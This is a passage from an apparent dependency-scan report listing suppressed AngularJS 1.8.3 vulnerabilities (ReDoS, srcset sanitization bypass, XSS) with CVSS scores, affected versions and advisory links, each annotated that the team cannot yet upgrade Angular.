- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-2vrf-hf26-jrp5>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions from (including) 1.2.21; versions up to (including) 1.8.3

[CVE-2023-26117](#) suppressed

Versions of the package angular from 1.0.0 are vulnerable to Regular Expression Denial of Service (ReDoS) via the \$resource service due to the usage of an insecure regular expression. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-2qgx-w9hr-q5gx>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)

- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions from (including) 1.0.0; versions up to (including) 1.8.3

[CVE-2023-26118](#) suppressed

Versions of the package angular from 1.4.9 are vulnerable to Regular Expression Denial of Service (ReDoS) via the <input type="url"> element due to the usage of an insecure regular expression in the input[url] functionality. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-qwqh-hm9m-p5hr>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions from (including) 1.4.9; versions up to (including) 1.8.3

[CVE-2024-8372](#) suppressed

Improper sanitization of the value of the 'srcset' attribute in AngularJS allows attackers to bypass common image source restrictions, which can also lead to a form of Content Spoofing https://owasp.org/www-community/attacks/Content_Spoofing .

This issue affects AngularJS versions 1.3.0-rc.4 and greater.

Note:

The AngularJS project is End-of-Life and will not receive any updates to address this issue. For more information see here <https://docs.angularjs.org/misc/version-support-status> .

CWE-1289 Improper Validation of Unsafe Equivalence in Input, NVD-CWE-Other

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (4.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N/E:P/RC:R/MAV:A

References:

- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- info - <https://codepen.io/herodevs/full/xxoQRNL/0072e627abe03e9cda373bc75b4c1017>
- info - <https://github.com/advisories/GHSA-m9gf-397r-hwpg>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-8372>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2024-8372>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions from (including) 1.3.1; versions up to (including) 1.8.3
- cpe:2.3:a:angularjs:angularjs:1.3.0:rc4:*:*:*:*
- cpe:2.3:a:angularjs:angularjs:1.3.0:rc5:*:*:*:*
- cpe:2.3:a:netapp:active_iq_unified_manager:*:*:*:*:linux:*
- cpe:2.3:a:netapp:active_iq_unified_manager:*:*:*:*:vsphere:*
- cpe:2.3:a:netapp:active_iq_unified_manager:*:*:*:*:windows:*

CVE-2024-8373 suppressed

Improper sanitization of the value of the [srcset] attribute in <source> HTML elements in AngularJS allows attackers to bypass common image source restrictions, which can also lead to a form of Content Spoofing https://owasp.org/www-community/attacks/Content_Spoofing .

This issue affects all versions of AngularJS.

Note:

The AngularJS project is End-of-Life and will not receive any updates to address this issue. For more information see here <https://docs.angularjs.org/misc/version-support-status> .

CWE-791 Incomplete Filtering of Special Elements, NVD-CWE-Other

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (4.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N/E:P/RC:R/MAV:A

References:

- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- info - <https://codepen.io/herodevs/full/bGPQgMp/8da9ce87e99403ee13a295c305ebfa0b>
- info - <https://github.com/advisories/GHSA-mqm9-c95h-x2p6>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-8373>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2024-8373>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions up to (including) 1.8.3
- cpe:2.3:a:netapp:active_iq_unified_manager:*:*:*:*:linux:*
- cpe:2.3:a:netapp:active_iq_unified_manager:*:*:*:*:vsphere:*
- cpe:2.3:a:netapp:active_iq_unified_manager:*:*:*:*:windows:*

CVE-2025-2336 (RETIREJS) suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

- Severity: medium

References:

- info - <https://codepen.io/herodevs/pen/bNGYxX/412a3a4218387479898912f60c269c6c>
- info - <https://github.com/advisories/GHSA-4p4w-6hg8-63wx>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-2336>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-2336>

Vulnerable Software & Versions (RETIREJS):

CVE-2025-4690 (RETIREJS) suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

- Severity: medium

References:

- info - <https://codepen.io/herodevs/pen/RNNEPzP/751b91eab7730dff277523f3d50e4b77>
- info - <https://github.com/advisories/GHSA-hfff-63hg-f47j>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-4690>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-4690>

Vulnerable Software & Versions (RETIREJS):

CVE-2025-0716 (RETIREJS) suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

- Severity: low

References:

- info - <https://codepen.io/herodevs/pen/qEWQmpd/a86a0d29310e12c7a3756768e6c7b915>
- info - <https://github.com/advisories/GHSA-j58c-ww9w-pwp5>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-0716>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-0716>

Vulnerable Software & Versions (RETIREJS):

End-of-Life: Long term support for AngularJS has been discontinued as of December 31, 2021 (RETIREJS) suppressed

End-of-Life: Long term support for AngularJS has been discontinued as of December 31, 2021

Notes: file name: remotegui.zip: angularjs.jar We can not yet update to newer Angular Version

Unscored:

- Severity: low

References:

- info - <https://docs.angularjs.org/misc/version-support-status>
- retid - 54

Vulnerable Software & Versions (RETIREJS):

remotegui.zip: angular-cookies.jar: angular-cookies.min.js

File Path: /home/jenkins/workspace/pdfc/Check-Product-Installer-for-Security-Problems/PDFCInstaller/server/build/tmp/dependencies/i-net PDFC/plugins/remotegui.zip/angular-cookies.jar/META-INF/resources/webjars/angular-cookies/1.8.3/angular-cookies.min.js

MD5: c41aff8423276d46f0d02de6dcb71524

SHA1: 7dc53f75d5bf7dd2c770cb50f31242c70193c086

SHA256: 926509b494009bea03288bba191a2b238032188e9112377e50fbfe7814c6639b

Referenced In Project/Scope: server

Evidence

Suppressed Identifiers

- None

Suppressed Vulnerabilities

[CVE-2022-25844](#) suppressed

The package angular after 1.7.0 are vulnerable to Regular Expression Denial of Service (ReDoS) by providing a custom locale rule that makes it possible to assign the parameter in posPre: ' '.repeat() of NUMBER_FORMATS.PATTERNS[1].posPre with a very high value.
Note: 1) This package has been deprecated and is no longer maintained. 2) The vulnerable versions are 1.7.0 and higher.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- HIGH (7.5)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RC:R/MAV:A

CVSSv2:

- Base Score: MEDIUM (5.0)
- Vector: /AV:N/AC:L/Au:N/C:N/I:N/A:P

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2WUSPYOTOMAZPDEFWPSCSPMNODRDKK3/>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/7LNAKCNTVBIHWAUT3FKWV5N67PQXSZOO/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-m2h2-264f-f486>

- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2WUSPYOTOMAZPDEFWPSCSPMNODRDKK3/>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/7LNAKCNTVBIHWAUT3FKWV5N67PQXSZOO/>
- report@snyk.io - [EXPLOIT_THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT_THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT_THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT_THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT_THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [THIRD_PARTY_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions from (including) 1.7.0
- cpe:2.3:a:netapp:ontap_select_deploy_administration_utility:*:*:*:*:*

CVE-2024-21490 suppressed

This affects versions of the package angular from 1.3.0. A regular expression used to split the value of the ng-srcset directive is vulnerable to super-linear runtime due to backtracking. With large carefully-crafted input, this can result in catastrophic backtracking and cause a denial of service. **Note:** This package is EOL and will not receive any updates to address this issue. Users should migrate to `@angular/core` (<https://www.npmjs.com/package/@angular/core>).

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- HIGH (7.5)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT_THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-4w4v-5hc9-xrr2>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-21490>
- info - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-6241746>
- info - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-6241747>
- info - <https://security.snyk.io/vuln/SNYK-JS-ANGULAR-6091113>
- info - <https://stackblitz.com/edit/angularjs-vulnerability-ng-srcset-redos>
- report@snyk.io - [EXPLOIT_THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [THIRD_PARTY_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angular.js:*:*:*:*:* versions from (including) 1.3.0

CVE-2022-25869 suppressed

All versions of the package angular; all versions of the package angularjs.core; all versions of the package angularjs are vulnerable to Cross-site Scripting (XSS) due to insecure page caching in the Internet Explorer browser, which allows interpolation of `<textarea>` elements.

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (6.1)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - [BROKEN LINK](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-prc3-vjfx-vhm9>
- report@snyk.io - <https://neverendingsupport.github.io/angularjs-poc-cve-2022-25869>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-DOTNET-ANGULARJS-10771617>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-DOTNET-ANGULARJSCORE-6084031>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-2949783>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBANGULAR-2949784>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-2949782>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JS-ANGULAR-2949781>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:*

CVE-2023-26116 suppressed

Versions of the package angular from 1.2.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the angular.copy() utility function due to the usage of an insecure regular expression. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-2vrf-hf26-jrp5>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions from (including) 1.2.21; versions up to (including) 1.8.3

[CVE-2023-26117](#) suppressed

Versions of the package angular from 1.0.0 are vulnerable to Regular Expression Denial of Service (ReDoS) via the \$resource service due to the usage of an insecure regular expression. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-2qqx-w9hr-q5gx>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions from (including) 1.0.0; versions up to (including) 1.8.3

[CVE-2023-26118](#) suppressed

Versions of the package angular from 1.4.9 are vulnerable to Regular Expression Denial of Service (ReDoS) via the <input type="url"> element due to the usage of an insecure regular expression in the input[url] functionality. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)

- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-qwqh-hm9m-p5hr>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions from (including) 1.4.9; versions up to (including) 1.8.3

[CVE-2024-8372](#) suppressed

Improper sanitization of the value of the 'srcset' attribute in AngularJS allows attackers to bypass common image source restrictions, which can also lead to a form of Content Spoofing https://owasp.org/www-community/attacks/Content_Spoofing .

This issue affects AngularJS versions 1.3.0-rc.4 and greater.

Note:

The AngularJS project is End-of-Life and will not receive any updates to address this issue. For more information see here <https://docs.angularjs.org/misc/version-support-status> .

CWE-1289 Improper Validation of Unsafe Equivalence in Input, NVD-CWE-Other

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (4.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N/E:P/RC:R/MAV:A

References:

- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- info - <https://codepen.io/herodevs/full/xxoQRNL/0072e627abe03e9cda373bc75b4c1017>
- info - <https://github.com/advisories/GHSA-m9gf-397r-hwpg>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-8372>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2024-8372>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions from (including) 1.3.1; versions up to (including) 1.8.3
- cpe:2.3:a:angularjs:angularjs:1.3.0:rc4:*:*:*:*
- cpe:2.3:a:angularjs:angularjs:1.3.0:rc5:*:*:*:*
- cpe:2.3:a:netapp:active_iq_unified_manager:*:*:*:*:linux:*
- cpe:2.3:a:netapp:active_iq_unified_manager:*:*:*:*:vsphere:*
- cpe:2.3:a:netapp:active_iq_unified_manager:*:*:*:*:windows:*

[CVE-2024-8373](#) suppressed

Improper sanitization of the value of the [srcset] attribute in <source> HTML elements in AngularJS allows attackers to bypass common image source restrictions, which can also lead to a form of Content Spoofing https://owasp.org/www-community/attacks/Content_Spoofing .

This issue affects all versions of AngularJS.

Note:

The AngularJS project is End-of-Life and will not receive any updates to address this issue. For more information see [here https://docs.angularjs.org/misc/version-support-status](https://docs.angularjs.org/misc/version-support-status).

CWE-791 Incomplete Filtering of Special Elements, NVD-CWE-Other

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (4.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N/E:P/RC:R/MAV:A

References:

- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- info - <https://codepen.io/herodevs/full/bGPQgMp/8da9ce87e99403ee13a295c305ebfa0b>
- info - <https://github.com/advisories/GHSA-mqm9-c95h-x2p6>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-8373>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2024-8373>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions up to (including) 1.8.3
- cpe:2.3:a:netapp:active_iq_unified_manager:*:*:*:*:linux:*:*
- cpe:2.3:a:netapp:active_iq_unified_manager:*:*:*:*:vsphere:*:*
- cpe:2.3:a:netapp:active_iq_unified_manager:*:*:*:*:windows:*:*

CVE-2025-2336 (RETIREJS) suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

